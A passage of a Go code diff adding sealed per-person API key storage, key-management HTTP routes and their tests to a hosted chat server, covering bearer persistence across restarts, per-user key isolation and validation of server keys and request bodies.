parseServerKey(hc.ServerKey); err != nil { + return err + } + defer wipe(kek) + } + if st == nil { + return nil + } + keys, err := store.OpenPersonKeys(st, kek) + switch { + case errors.Is(err, store.ErrWrongServerKey): + return errWrongServerKey + case err != nil: + return err + } + if kek == nil && keys.AnyPeople() { + return errNoServerKey + } + return nil +} + +func wipe(b []byte) { + for i := range b { + b[i] = 0 + } +} + +// hostedOpenKeys opens the sealed store for a handler. It never fails the +// handler: with no server key, a wrong one or an unreadable file it keeps a +// locked store and remembers why, which makes saving a key refuse with a +// sentence and makes a key that exists refuse a call instead of being replaced +// (the start-up check has already stopped a real server in those cases). +func (h *Handler) hostedOpenKeys(hs *hostedState, serverKey string) { + st := h.config.Store + if st == nil { + return + } + var kek []byte + if strings.TrimSpace(serverKey) != "" { + var err error + if kek, err = parseServerKey(serverKey); err != nil { + hs.keysErr = err + } + } + defer wipe(kek) + keys, err := store.OpenPersonKeys(st, kek) + switch { + case err == nil: + case errors.Is(err, store.ErrWrongServerKey): + hs.keysErr = errWrongServerKey + keys, _ = store.OpenPersonKeys(st, nil) + default: + hs.keysErr = err + keys, _ = store.OpenPersonKeys(st, nil) + } + if keys != nil && keys.Locked() && hs.keysErr == nil { + hs.keysErr = errNoServerKey + } + hs.keys = keys +} + +// hostedKeyFor is the key a call for person goes out with: the person's own key +// for provider ("openrouter" or "github") when they have stored one, and +// otherwise "", false. err is non-nil when an own key EXISTS but cannot be +// opened, or when the store cannot even say whether it does: the caller must +// refuse, never fall back to the organization's key. Keys are looked up by the +// exact normalized handle, so no other person's key can be returned. +func (h *Handler) hostedKeyFor(person, provider string) (key string, own bool, err error) { + hc := h.config.Hosted + if hc == nil || hc.state == nil || h.config.Store == nil { + return "", false, nil + } + hs := hc.state + if hs.keys == nil { + // A file the store could not even open: whether this person has a key + // is unknown, and unknown is not "no". + return "", false, hs.keysErr + } + person = factory.NormalizeHandle(person) + has, err := hs.keys.Has(person, provider) + if err != nil { + return "", false, err + } + if !has { + return "", false, nil + } + if hs.keysErr != nil { + return "", false, hs.keysErr + } + secret, found, err := hs.keys.Get(person, provider) + if err != nil { + return "", false, err + } + if !found { + return "", false, nil + } + return secret, true, nil +} + +// keepSignInGitHub keeps the GitHub credential a person's sign-in carries, so a +// chat of theirs can reach their repositories without them storing anything. It +// never replaces a key the person stored themselves, never logs the value, and +// ignores a failure to store: the wire opens either way. +func (h *Handler) keepSignInGitHub(r *http.Request, person string) { + hs := h.config.Hosted.state + if hs.keys == nil || hs.keys.Locked() || hs.keysErr != nil { + return + } + token, viaSignIn := h.personGitHubToken(r) + if !viaSignIn || len(token) < 8 || len(token) > 512 || strings.IndexFunc(token, func(c rune) bool { return c < 0x21 || c > 0x7e }) >= 0 { + return + } + for _, row := range hs.keys.List(person) { + if row.Provider == "github" && row.Source == store.PersonKeyOwn { + return + } + } + if held, ok, err := hs.keys.Get(person, "github"); err == nil && ok && held == token { + return + } + _ = hs.keys.Put(person, "github", token, store.PersonKeySignIn, h.clock()) +} + +// hostedKeyRow is one stored key as the person's screen may see it. +type hostedKeyRow struct { + Provider string `json:"provider"` + Last4 string `json:"last4"` + At string `json:"at"` + Source string `json:"source"` +} + +// hostedKeyList answers the caller's own rows and nobody else's. +func (h *Handler) hostedKeyList(w http.ResponseWriter, r *http.Request) { + person, ok := h.hostedPerson(w, r) + if !ok || !h.hostedKeysBodyOK(w, r) { + return + } + rows := []hostedKeyRow{} + if keys := h.config.Hosted.state.keys; keys != nil { + for _, row := range keys.List(person) { + rows = append(rows, hostedKeyRow{Provider: row.Provider, Last4: row.Last4, At: row.At.UTC().Format(time.RFC3339), Source: row.Source}) + } + } + h.write(w, http.StatusOK, map[string]any{"keys": rows}) +} + +// hostedKeysBodyOK refuses a request that announces more than a key could need. +func (h *Handler) hostedKeysBodyOK(w http.ResponseWriter, r *http.Request) bool { + if r.ContentLength > hostedKeysBodyCap { + h.fail(w, http.StatusRequestEntityTooLarge, hostedKeysTooLarge) + return false + } + return true +} + +// hostedKeyPut stores the caller's own key for one provider. +func (h *Handler) hostedKeyPut(w http.ResponseWriter, r *http.Request) { + person, ok := h.hostedPerson(w, r) + if !ok || !h.hostedKeysBodyOK(w, r) { + return + } + provider := r.PathValue("provider") + if !store.KnownPersonKeyProvider(provider) { + h.fail(w, http.StatusNotFound, hostedKeysNoSuchKey) + return + } + hs := h.config.Hosted.state + if hs.keys == nil || hs.keys.Locked() || hs.keysErr != nil { + h.fail(w, http.StatusConflict, hostedKeysCannotKeep) + return + } + raw, err := io.ReadAll(http.MaxBytesReader(w, r.Body, hostedKeysBodyCap)) + if err != nil { + var tooLarge *http.MaxBytesError + if errors.As(err, &tooLarge) { + h.fail(w, http.StatusRequestEntityTooLarge, hostedKeysTooLarge) + } else { + h.fail(w, http.StatusUnprocessableEntity, hostedKeysBadRequest) + } + return + } + var body struct { + Key string `json:"key"` + } + decoder := json.NewDecoder(bytes.NewReader(raw)) + decoder.DisallowUnknownFields() + if decoder.Decode(&body) != nil || decoder.More() { + h.fail(w, http.StatusUnprocessableEntity, hostedKeysBadRequest) + return + } + least := 12 + if provider == "github" { + least = 8 + } + key := strings.TrimSpace(body.Key) + if len(key) < least || len(key) > 512 || strings.IndexFunc(key, func(c rune) bool { return c < 0x21 || c > 0x7e }) >= 0 { + h.fail(w, http.StatusUnprocessableEntity, fmt.Sprintf("That does not look like a valid key: one word of %d to 512 characters.", least)) + return + } + if err := hs.keys.Put(person, provider, key, store.PersonKeyOwn, h.clock()); err != nil { + log.Printf("hosted chats: a personal key could not be stored: %v", err) + h.fail(w, http.StatusInternalServerError, hostedKeysNotStored) + return + } + w.WriteHeader(http.StatusNoContent) +} + +// hostedKeyDelete forgets the caller's own key for one provider, and answers +// the same whether or not there was one. +func (h *Handler) hostedKeyDelete(w http.ResponseWriter, r *http.Request) { + person, ok := h.hostedPerson(w, r) + if !ok || !h.hostedKeysBodyOK(w, r) { + return + } + provider := r.PathValue("provider") + if !store.KnownPersonKeyProvider(provider) { + h.fail(w, http.StatusNotFound, hostedKeysNoSuchKey) + return + } + hs := h.config.Hosted.state + if hs.keys == nil { + w.WriteHeader(http.StatusNoContent) + return + } + if has, _ := hs.keys.Has(person, provider); !has { + w.WriteHeader(http.StatusNoContent) + return + } + if hs.keys.Locked() || hs.keysErr != nil { + h.fail(w, http.StatusConflict, hostedKeysCannotKeep) + return + } + if _, err := hs.keys.Delete(person, provider); err != nil { + log.Printf("hosted chats: a personal key could not be removed: %v", err) + h.fail(w, http.StatusInternalServerError, hostedKeysNotStored) + return + } + w.WriteHeader(http.StatusNoContent) +} diff --git a/internal/factory/serve/hosted_p1_test.go b/internal/factory/serve/hosted_p1_test.go new file mode 100644 index 0000000000..d9a56e4e3b --- /dev/null +++ b/internal/factory/serve/hosted_p1_test.go @@ -0,0 +1,759 @@ +package serve + +import ( + "bytes" + "context" + "encoding/base64" + "encoding/hex" + "encoding/json" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/coder/websocket" +) + +// The contract items these tests are written from are P1-4 (a chat's model +// access survives a restart and an ended one stays ended), P1-5 (a person's own +// keys), P1-7 (a restart breaks no attached chat) and P1-9 (plain words), in +// the lane's NOTES.md. Each test says which it covers. + +const ( + // rigServerKey is a server key as an operator writes it: 64 hex characters. + rigServerKey = "00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff" + rigOtherServerKey = "ffeeddccbbaa99887766554433221100ffeeddccbbaa99887766554433221100" +) + +func (rg *hostedRig) withServerKey(t *testing.T, key string) { + t.Helper() + rg.configure(t, func(c *HostedConfig) { c.ServerKey = key }) +} + +func (rg *hostedRig) file(name string) string { return filepath.Join(rg.st.Root(), name) } + +func (rg *hostedRig) readFile(t *testing.T, name string) string { + t.Helper() + raw, err := os.ReadFile(rg.file(name)) + if err != nil { + t.Fatalf("%s: %v", name, err) + } + return string(raw) +} + +// model makes one model call with a chat's bearer and answers the status. +func (rg *hostedRig) model(token string) int { + return rg.send("", "GET", "/v1/model/models", nil, map[string]string{"Authorization": "Bearer " + token}).Code +} + +// putKey saves a person's own key through the route and answers the status. +func (rg *hostedRig) putKey(who, provider, key string) *httptest.ResponseRecorder { + return rg.send(who, "PUT", "/v1/hosted/keys/"+provider, map[string]string{"key": key}, nil) +} + +// dial opens one window's wire to a chat on a real server. +func dial(t *testing.T, srv *httptest.Server, bearerOfPerson, id string) *websocket.Conn { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) + defer cancel() + c, resp, err := websocket.Dial(ctx, wireURL(srv, id), &websocket.DialOptions{HTTPHeader: http.Header{"Authorization": {"Bearer " + bearerOfPerson}}}) + if err != nil { + t.Fatalf("the wire did not open: %v %v", resp, err) + } + c.SetReadLimit(1 << 20) + if err := c.Write(ctx, websocket.MessageBinary, []byte("hello")); err != nil { + t.Fatal(err) + } + if _, got, err := c.Read(ctx); err != nil || string(got) != "hello" { + t.Fatalf("the wire did not carry a frame: %q %v", got, err) + } + return c +} + +// ── P1-4: THE MODEL ACCESS OF A CHAT SURVIVES A RESTART AND AN ENDED ONE STAYS ENDED ── + +// A bearer minted before the organization's server restarted still works after +// it; a stopped chat's bearer stays dead across a restart; one that has run out +// is gone, and its row leaves the saved file. +func TestP1_4_BearerSurvivesARestartOfTheServer(t *testing.T) { + rg := newHostedRig(t) + id := rg.create(t, "santosh") + token := rg.host.tokenOf(id) + if code := rg.model(token); code != 200 { + t.Fatalf("a fresh bearer = %d", code) + } + rg.configure(t, func(*HostedConfig) {}) + if code := rg.model(token); code != 200 { + t.Fatalf("the same bearer after a restart = %d; the chat's engine kept it and must still be answered", code) + } + + // Stop ends it at once, and it stays ended after another restart. + if w := rg.send("santosh", "POST", "/v1/hosted/sessions/"+id+"/stop", nil, nil); w.Code != 204 { + t.Fatalf("stop = %d %s", w.Code, w.Body) + } + if code := rg.model(token); code != 401 { + t.Fatalf("a stopped chat's bearer = %d; want 401 on its very next call", code) + } + rg.configure(t, func(*HostedConfig) {}) + if code := rg.model(token); code != 401 { + t.Fatalf("a stopped chat's bearer after a restart = %d; want 401", code) + } + if strings.Contains(rg.readFile(t, hostedBearersFileName), bearerHash(token)) { + t.Fatal("the saved file still holds the stopped chat's bearer") + } + + // A deleted chat likewise. + gone := rg.create(t, "santosh") + goneToken := rg.host.tokenOf(gone) + if w := rg.send("santosh", "DELETE", "/v1/hosted/sessions/"+gone, nil, nil); w.Code != 204 { + t.Fatalf("delete = %d %s", w.Code, w.Body) + } + rg.configure(t, func(*HostedConfig) {}) + if code := rg.model(goneToken); code != 401 { + t.Fatalf("a deleted chat's bearer after a restart = %d", code) + } + + // Seven days is how long one lasts: alive a minute before, gone a minute + // after, and gone from the file once the server has started again. + aging := rg.create(t, "santosh") + agingToken := rg.host.tokenOf(aging) + rg.now = rg.now.Add(mintedBearerTTL - time.Minute) + rg.configure(t, func(*HostedConfig) {}) + if code := rg.model(agingToken); code != 200 { + t.Fatalf("a bearer a minute before its end = %d", code) + } + rg.now = rg.now.Add(2 * time.Minute) + if code := rg.model(agingToken); code != 401 { + t.Fatalf("a bearer a minute past its end = %d", code) + } + rg.configure(t, func(*HostedConfig) {}) + if code := rg.model(agingToken); code != 401 { + t.Fatalf("an expired bearer after a restart = %d", code) + } + if strings.Contains(rg.readFile(t, hostedBearersFileName), bearerHash(agingToken)) { + t.Fatal("the saved file still holds a row that ran out") + } +} + +// A bearer that cannot be saved is not issued: the chat is not started, the +// person is told so in a plain sentence, and nothing was asked of the host. +func TestP1_4_ABearerThatCannotBeSavedIsNotIssued(t *testing.T) { + rg := newHostedRig(t) + // A directory where the file belongs makes every save fail without + // depending on who the tests run as. + if err := os.Mkdir(rg.file(hostedBearersFileName), 0o700); err != nil { + t.Fatal(err) + } + before := rg.host.count() + w := rg.send("santosh", "POST", "/v1/hosted/sessions", nil, nil) + if w.Code != 500 || errorOf(t, w.Body.Bytes()) != hostedNotStarted { + t.Fatalf("create with the save failing = %d %s", w.Code, w.Body) + } + if rg.host.count() != before { + t.Fatalf("the host was asked about a chat whose model access could not be kept: %+v", rg.host.requests()[before:]) + } + if err := os.Remove(rg.file(hostedBearersFileName)); err != nil { + t.Fatal(err) + } + if id := rg.create(t, "santosh"); rg.model(rg.host.tokenOf(id)) != 200 { + t.Fatal("after the save works again a chat starts and is answered") + } +} + +// The file that keeps bearers across a restart holds their hashes and never +// one of them. +func TestP1_4_PersistedFileHoldsNoToken(t *testing.T) { + rg := newHostedRig(t) + id := rg.create(t, "santosh") + token := rg.host.tokenOf(id) + raw := rg.readFile(t, hostedBearersFileName) + if strings.Contains(raw, token) || strings.Contains(raw, strings.TrimPrefix(token, mintedBearerPrefix)) || strings.Contains(raw, mintedBearerPrefix) { + t.Fatalf("the saved file holds the bearer: %s", raw) + } + var doc struct { + Rows map[string]struct{ Session, Person string } + } + if err := json.Unmarshal([]byte(raw), &doc); err != nil { + t.Fatal(err) + } + row, ok := doc.Rows[bearerHash(token)] + if !ok || row.Session != id || row.Person != "santosh" || len(doc.Rows) != 1 { + t.Fatalf("the saved rows = %+v; want only the hash of the chat's bearer", doc.Rows) + } + if info, err := os.Stat(rg.file(hostedBearersFileName)); err != nil || info.Mode().Perm() != 0o600 { + t.Fatalf("the saved file's mode = %v, %v; want 0600", info, err) + } +} + +const hostedBearersFileName = "hosted-bearers.json" + +// ── P1-5: A PERSON'S OWN KEYS ── + +// A key a person stores is sealed on disk, listed by its last four characters, +// returned to that person's chat only, and forgotten on delete. +func TestP1_5_OwnKeyIsStoredSealedAndOnlyForItsPerson(t *testing.T) { + rg := newHostedRig(t) + rg.withServerKey(t, rigServerKey) + santoshKey, abirKey, santoshGitHub := "sk-test-santosh-aaaaaaaa-0001", "sk-test-abir-bbbbbbbbbb-0002", "ghp_test_santosh_0003" + for _, put := range []struct{ who, provider, key string }{ + {"santosh", "openrouter", santoshKey}, {"santosh", "github", santoshGitHub}, {"abir", "openrouter", abirKey}} { + if w := rg.putKey(put.who, put.provider, " "+put.key+"\n"); w.Code != 204 || w.Body.Len() != 0 { + t.Fatalf("%s stores %s = %d %s", put.who, put.provider, w.Code, w.Body) + } + } + file := rg.readFile(t, "person-keys.json") + for _, secret := range []string{santoshKey, abirKey, santoshGitHub, "aaaaaaaa", "bbbbbbbbbb", rigServerKey} { + if strings.Contains(file, secret) { + t.Fatalf("the stored file holds %q: %s", secret, file) + } + } + // Whose key goes out with whose call. + for _, want := range []struct { + who, provider, key string + own bool + }{ + {"santosh", "openrouter", santoshKey, true}, {"santosh", "github", santoshGitHub, true}, {"abir", "openrouter", abirKey, true}, + {"abir", "github", "", false}, {"mia", "openrouter", "", false}, {"mia", "github", "", false}, {"santos", "openrouter", "", false}, {"", "openrouter", "", false}, + } { + key, own, err := rg.h.hostedKeyFor(want.who, want.provider) + if key != want.key || own != want.own || err != nil { + t.Fatalf("%q's %s key = %q, %v, %v; want %q, %v", want.who, want.provider, key, own, err, want.key, want.own) + } + } + // A handle's display forms are the same person. + if key, own, err := rg.h.hostedKeyFor("@Santosh", "openrouter"); key != santoshKey || !own || err != nil { + t.Fatalf("the display form of a handle = %q, %v, %v", key, own, err) + } + // The list: only the caller's, last four only, never null. + type listed struct { + Keys []struct{ Provider, Last4, At, Source string } `json:"keys"` + } + list := func(who string) (listed, string) { + t.Helper() + w := rg.send(who, "GET", "/v1/hosted/keys", nil, nil) + var out listed + if w.Code != 200 || json.Unmarshal(w.Body.Bytes(), &out) != nil { + t.Fatalf("list as %s = %d %s", who, w.Code, w.Body) + } + return out, w.Body.String() + } + got, body := list("santosh") + if len(got.Keys) != 2 || got.Keys[0].Provider != "github" || got.Keys[0].Last4 != "0003" || got.Keys[0].Source != "own" || + got.Keys[1].Provider != "openrouter" || got.Keys[1].Last4 != "0001" || got.Keys[1].At == "" { + t.Fatalf("santosh's list = %s", body) + } + for _, secret := range []string{santoshKey, santoshGitHub, "sk-test", "ghp_", "aaaaaaaa", abirKey} { + if strings.Contains(body, secret) { + t.Fatalf("the list holds %q: %s", secret, body) + } + } + if got, body := list("abir"); len(got.Keys) != 1 || got.Keys[0].Last4 != "0002" || strings.Contains(body, "0001") { + t.Fatalf("abir's list = %s", body) + } + if _, body := list("mia"); strings.TrimSpace(body) != `{"keys":[]}` { + t.Fatalf("a person with no keys lists %s; want an empty list", body) + } + // What was stored is still there after the server restarts. + rg.withServerKey(t, rigServerKey) + if key, own, err := rg.h.hostedKeyFor("santosh", "openrouter"); key != santoshKey || !own || err != nil { + t.Fatalf("after a restart = %q, %v, %v", key, own, err) + } + // Delete answers only about the caller: abir deleting "github" (which only + // santosh has) touches nothing, and santosh's delete forgets santosh's. + if w := rg.send("abir", "DELETE", "/v1/hosted/keys/github", nil, nil); w.Code != 204 { + t.Fatalf("abir's delete of a key he does not have = %d", w.Code) + } + if key, _, _ := rg.h.hostedKeyFor("santosh", "github"); key != santoshGitHub { + t.Fatal("another person's delete removed santosh's key") + } + for i := 0; i < 2; i++ { + if w := rg.send("santosh", "DELETE", "/v1/hosted/keys/openrouter", nil, nil); w.Code != 204 { + t.Fatalf("delete #%d = %d %s", i+1, w.Code, w.Body) + } + } + if key, own, err := rg.h.hostedKeyFor("santosh", "openrouter"); key != "" || own || err != nil { + t.Fatalf("after the delete = %q, %v, %v", key, own, err) + } + if key, _, _ := rg.h.hostedKeyFor("abir", "openrouter"); key != abirKey { + t.Fatal("santosh's delete removed abir's key") + } +} + +// A person's own save replaces what their sign-in brought, a sign-in never +// replaces what the person saved, and a wire attach keeps the sign-in's GitHub +// credential for a person who has none. +func TestP1_5_SignInGitHubCredentialIsKeptForAChatButNeverOverANewerOwnKey(t *testing.T) { + rg := newHostedRig(t) + rg.withServerKey(t, rigServerKey) + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + id := rg.create(t, "santosh") + if key, own, _ := rg.h.hostedKeyFor("santosh", "github"); own || key != "" { + t.Fatalf("a chat's creation stored a credential: %q", key) + } + dial(t, srv, rg.tokens["santosh"], id).Close(websocket.StatusNormalClosure, "") + signedIn, own, err := rg.h.hostedKeyFor("santosh", "github") + if !own || err != nil || len(signedIn) < 8 { + t.Fatalf("after an attach the sign-in's credential = %q, %v, %v", signedIn, own, err) + } + var listed struct { + Keys []struct{ Provider, Source string } + } + w := rg.send("santosh", "GET", "/v1/hosted/keys", nil, nil) + if json.Unmarshal(w.Body.Bytes(), &listed) != nil || len(listed.Keys) != 1 || listed.Keys[0].Source != "sign-in" { + t.Fatalf("the kept credential's source = %s", w.Body) + } + if strings.Contains(w.Body.String(), signedIn) || strings.Contains(rg.readFile(t, "person-keys.json"), signedIn) { + t.Fatal("the sign-in's credential is in the clear") + } + if key, _, _ := rg.h.hostedKeyFor("abir", "github"); key != "" { + t.Fatalf("santosh's sign-in credential answered for abir: %q", key) + } + // The person's own key replaces it and survives the next attach. + if w := rg.putKey("santosh", "github", "ghp_test_santosh_own_0007"); w.Code != 204 { + t.Fatalf("own save = %d %s", w.Code, w.Body) + } + dial(t, srv, rg.tokens["santosh"], id).Close(websocket.StatusNormalClosure, "") + if key, _, _ := rg.h.hostedKeyFor("santosh", "github"); key != "ghp_test_santosh_own_0007" { + t.Fatalf("an attach replaced the person's own key with %q", key) + } + w = rg.send("santosh", "GET", "/v1/hosted/keys", nil, nil) + if json.Unmarshal(w.Body.Bytes(), &listed) != nil || len(listed.Keys) != 1 || listed.Keys[0].Source != "own" { + t.Fatalf("the own key's source = %s", w.Body) + } +} + +// A server key that is not the one the stored keys were sealed with refuses to +// start the server, names the setting, and leaves the stored keys untouched; a +// running handler with the wrong key never opens a key and never falls back. +func TestP1_5_WrongServerKeyRefusesToStart(t *testing.T) { + rg := newHostedRig(t) + rg.withServerKey(t, rigServerKey) + if w := rg.putKey("santosh", "openrouter", "sk-test-santosh-0001-aaaa"); w.Code != 204 { + t.Fatalf("store = %d %s", w.Code, w.Body) + } + before := rg.readFile(t, "person-keys.json") + cfg := &HostedConfig{ServerKey: rigOtherServerKey} + err := cfg.Check(rg.st) + if err == nil || err.Error() != serverKeyWrong || !strings.Contains(err.Error(), "CODEAF_SERVER_KEY") || + strings.Contains(err.Error(), rigOtherServerKey) || strings.Contains(err.Error(), rigServerKey) { + t.Fatalf("a wrong server key checked as %v", err) + } + if rg.readFile(t, "person-keys.json") != before { + t.Fatal("refusing changed the stored keys") + } + if err := (&HostedConfig{ServerKey: rigServerKey}).Check(rg.st); err != nil { + t.Fatalf("the right server key = %v", err) + } + // A handler that was started anyway never opens a key and never falls back + // to the organization's: santosh's call is an error, a person with no key + // is still no key at all, and nothing can be stored. + rg.withServerKey(t, rigOtherServerKey) + if key, own, err := rg.h.hostedKeyFor("santosh", "openrouter"); key != "" || own || err == nil { + t.Fatalf("with the wrong key santosh's key = %q, %v, %v; want an error", key, own, err) + } + if key, own, err := rg.h.hostedKeyFor("abir", "openrouter"); key != "" || own || err != nil { + t.Fatalf("with the wrong key a person with none = %q, %v, %v", key, own, err) + } + if w := rg.putKey("abir", "openrouter", "sk-test-abir-000000-bbbb"); w.Code != 409 || errorOf(t, w.Body.Bytes()) != hostedKeysCannotKeep { + t.Fatalf("a save with the wrong key = %d %s", w.Code, w.Body) + } + if rg.readFile(t, "person-keys.json") != before { + t.Fatal("a handler with the wrong key changed the stored keys") + } +} + +// Stored keys with no server key set refuse to start; with none stored, no +// server key is no trouble. +func TestP1_5_StoredKeysWithNoServerKeyRefuseToStart(t *testing.T) { + rg := newHostedRig(t) + if err := (&HostedConfig{}).Check(rg.st); err != nil { + t.Fatalf("no server key and nothing stored = %v", err) + } + rg.withServerKey(t, rigServerKey) + if w := rg.putKey("santosh", "openrouter", "sk-test-santosh-0001-aaaa"); w.Code != 204 { + t.Fatalf("store = %d %s", w.Code, w.Body) + } + before := rg.readFile(t, "person-keys.json") + for _, blank := range []string{"", " \n"} { + err := (&HostedConfig{ServerKey: blank}).Check(rg.st) + if err == nil || err.Error() != serverKeyMissing || !strings.Contains(err.Error(), "CODEAF_SERVER_KEY") { + t.Fatalf("stored keys with the server key %q checked as %v", blank, err) + } + } + if rg.readFile(t, "person-keys.json") != before { + t.Fatal("refusing changed the stored keys") + } + // A handler started anyway refuses santosh's calls instead of using the + // organization's key. + rg.configure(t, func(*HostedConfig) {}) + if key, own, err := rg.h.hostedKeyFor("santosh", "openrouter"); key != "" || own || err == nil { + t.Fatalf("with no server key santosh's key = %q, %v, %v; want an error", key, own, err) + } + if _, _, err := rg.h.hostedKeyFor("abir", "openrouter"); err != nil { + t.Fatalf("a person with none, no server key: %v", err) + } + // A server key that is not a key at all. + for _, bad := range []string{"short", strings.Repeat("g", 64), strings.Repeat("ab", 31), "!!!!"} { + err := (&HostedConfig{ServerKey: bad}).Check(rg.st) + if err == nil || err.Error() != serverKeyForm || strings.Contains(err.Error(), bad) { + t.Fatalf("the server key %q checked as %v", bad, err) + } + } +} + +// With no server key at all, hosted chats still run on the organization's key, +// and saving an own key is refused with a plain sentence and stores nothing. +func TestP1_5_NoServerKeyMeansOwnKeysAreRefusedWithASentence(t *testing.T) { + rg := newHostedRig(t) + w := rg.putKey("santosh", "openrouter", "sk-test-santosh-0001-aaaa") + if w.Code != 409 || errorOf(t, w.Body.Bytes()) != "This server cannot keep personal keys safe yet, so it did not store yours. Its operator can set that up." { + t.Fatalf("a save with no server key = %d %s", w.Code, w.Body) + } + if _, err := os.Stat(rg.file("person-keys.json")); !os.IsNotExist(err) { + t.Fatalf("a refused key left a file behind: %v", err) + } + if w := rg.send("santosh", "GET", "/v1/hosted/keys", nil, nil); w.Code != 200 || strings.TrimSpace(w.Body.String()) != `{"keys":[]}` { + t.Fatalf("list with no server key = %d %s", w.Code, w.Body) + } + if w := rg.send("santosh", "DELETE", "/v1/hosted/keys/openrouter", nil, nil); w.Code != 204 { + t.Fatalf("delete with no server key = %d", w.Code) + } + if key, own, err := rg.h.hostedKeyFor("santosh", "openrouter"); key != "" || own || err != nil { + t.Fatalf("with no server key a call goes out with %q, %v, %v; want the organization's (none, no error)", key, own, err) + } + id := rg.create(t, "santosh") + if code := rg.model(rg.host.tokenOf(id)); code != 200 { + t.Fatalf("a chat with no server key = %d", code) + } +} + +// Every key route needs a signed-in person, and a stranger, this machine and +// the operator's own access token all get the sign-in sentence and change +// nothing. +func TestP1_5_KeyRoutesNeedASignIn(t *testing.T) { + rg := newHostedRig(t) + rg.withServerKey(t, rigServerKey) + as := func(remote, auth, method, path string) *httptest.ResponseRecorder { + r := httptest.NewRequest(method, path, strings.NewReader(`{"key":"sk-test-santosh-0001-aaaa"}`)) + r.RemoteAddr = remote + if auth != "" { + r.Header.Set("Authorization", "Bearer "+auth) + } + w := httptest.NewRecorder() + rg.h.ServeHTTP(w, r) + return w + } + for _, step := range []struct{ method, path string }{ + {"GET", "/v1/hosted/keys"}, {"PUT", "/v1/hosted/keys/openrouter"}, {"PUT", "/v1/hosted/keys/github"}, {"DELETE", "/v1/hosted/keys/openrouter"}} { + for name, w := range map[string]*httptest.ResponseRecorder{ + "stranger": as("192.0.2.1:9", "", step.method, step.path), + "this machine": as("127.0.0.1:9", "", step.method, step.path), + "operator token": as("192.0.2.1:9", "operator-secret", step.method, step.path), + } { + if w.Code != 401 || (name != "stranger" && errorOf(t, w.Body.Bytes()) != hostedSignIn) { + t.Fatalf("%s %s as %s = %d %s; want 401 and the sign-in sentence", step.method, step.path, name, w.Code, w.Body) + } + } + } + if _, err := os.Stat(rg.file("person-keys.json")); !os.IsNotExist(err) { + t.Fatalf("a refused request stored something: %v", err) + } +} + +// What a key route accepts and what it refuses. +func TestP1_5_KeyRoutesCheckWhatTheyAreGiven(t *testing.T) { + rg := newHostedRig(t) + rg.withServerKey(t, rigServerKey) + raw := func(who, method, path, body string, length int64) *httptest.ResponseRecorder { + r := httptest.NewRequest(method, path, strings.NewReader(body)) + r.RemoteAddr = "192.0.2.1:1234" + r.Header.Set("Authorization", "Bearer "+rg.tokens[who]) + if length != 0 { + r.ContentLength = length + } + w := httptest.NewRecorder() + rg.h.ServeHTTP(w, r) + return w + } + for _, step := range []struct { + name, method, path, body string + length int64 + status int + words string + }{ + {"unknown provider", "PUT", "/v1/hosted/keys/anthropic", `{"key":"sk-test-santosh-0001-aaaa"}`, 0, 404, hostedKeysNoSuchKey}, + {"unknown provider on delete", "DELETE", "/v1/hosted/keys/anthropic", "", 0, 404, hostedKeysNoSuchKey}, + {"too short for a model key", "PUT", "/v1/hosted/keys/openrouter", `{"key":"sk-short"}`, 0, 422, "That does not look like a valid key: one word of 12 to 512 characters."}, + {"too short for a GitHub key", "PUT", "/v1/hosted/keys/github", `{"key":"short"}`, 0, 422, "That does not look like a valid key: one word of 8 to 512 characters."}, + {"a space inside", "PUT", "/v1/hosted/keys/openrouter", `{"key":"sk-test with-a-space-0001"}`, 0, 422, "That does not look like a valid key: one word of 12 to 512 characters."}, + {"too long", "PUT", "/v1/hosted/keys/openrouter", `{"key":"` + strings.Repeat("k", 513) + `"}`, 0, 422, "That does not look like a valid key: one word of 12 to 512 characters."}, + {"not an object", "PUT", "/v1/hosted/keys/openrouter", `"sk-test-santosh-0001-aaaa"`, 0, 422, hostedKeysBadRequest}, + {"an extra field", "PUT", "/v1/hosted/keys/openrouter", `{"key":"sk-test-santosh-0001-aaaa","owner":"abir"}`, 0, 422, hostedKeysBadRequest}, + {"no body", "PUT", "/v1/hosted/keys/openrouter", ``, 0, 422, hostedKeysBadRequest}, + {"announced as large", "PUT", "/v1/hosted/keys/openrouter", `{"key":"sk-test-santosh-0001-aaaa"}`, 5000, 413, hostedKeysTooLarge}, + {"sent as large with no length", "PUT", "/v1/hosted/keys/openrouter", `{"key":"` + strings.Repeat("k", 5000) + `"}`, -1, 413, hostedKeysTooLarge}, + } { + w := raw("santosh", step.method, step.path, step.body, step.length) + if w.Code != step.status || errorOf(t, w.Body.Bytes()) != step.words { + t.Fatalf("%s: %d %s; want %d %q", step.name, w.Code, w.Body, step.status, step.words) + } + } + if _, err := os.Stat(rg.file("person-keys.json")); !os.IsNotExist(err) { + t.Fatalf("a refused request stored something: %v", err) + } + // The shortest and the longest that are allowed. + if w := raw("santosh", "PUT", "/v1/hosted/keys/github", `{"key":"12345678"}`, 0); w.Code != 204 { + t.Fatalf("an eight-character GitHub key = %d %s", w.Code, w.Body) + } + if w := raw("santosh", "PUT", "/v1/hosted/keys/openrouter", `{"key":"`+strings.Repeat("k", 512)+`"}`, 0); w.Code != 204 { + t.Fatalf("a 512-character model key = %d %s", w.Code, w.Body) + } +} + +// parseServerKey reads every form an operator is likely to write, and nothing +// that is not 32 bytes. +func TestP1_5_ServerKeyForms(t *testing.T) { + want := make([]byte, 32) + for i := range want { + want[i] = byte(i * 7) + } + // The first bytes make the standard and the URL alphabets differ. + want[0], want[1] = 0xfb, 0xff + forms := map[string]string{ + "hex": hex.EncodeToString(want), + "hex with newline": hex.EncodeToString(want) + "\n", + "upper hex": strings.ToUpper(hex.EncodeToString(want)), + "std base64": base64.StdEncoding.EncodeToString(want), + "std base64 unpadded": base64.RawStdEncoding.EncodeToString(want), + "url base64": base64.URLEncoding.EncodeToString(want), + "url base64 unpadded": base64.RawURLEncoding.EncodeToString(want), + } + if forms["std base64"] == forms["url base64"] { + t.Fatal("the test key does not tell the two alphabets apart") + } + for name, form := range forms { + got, err := parseServerKey(form) + if err != nil || !bytes.Equal(got, want) { + t.Fatalf("%s: %x, %v", name, got, err) + } + } + for _, bad := range []string{"", " ", "abc", strings.Repeat("0", 63), strings.Repeat("0", 66), strings.Repeat("z", 64), + base64.StdEncoding.EncodeToString(want[:30]), base64.StdEncoding.EncodeToString(append(want, 1))} { + if got, err := parseServerKey(bad); err == nil || got != nil || err.Error() != 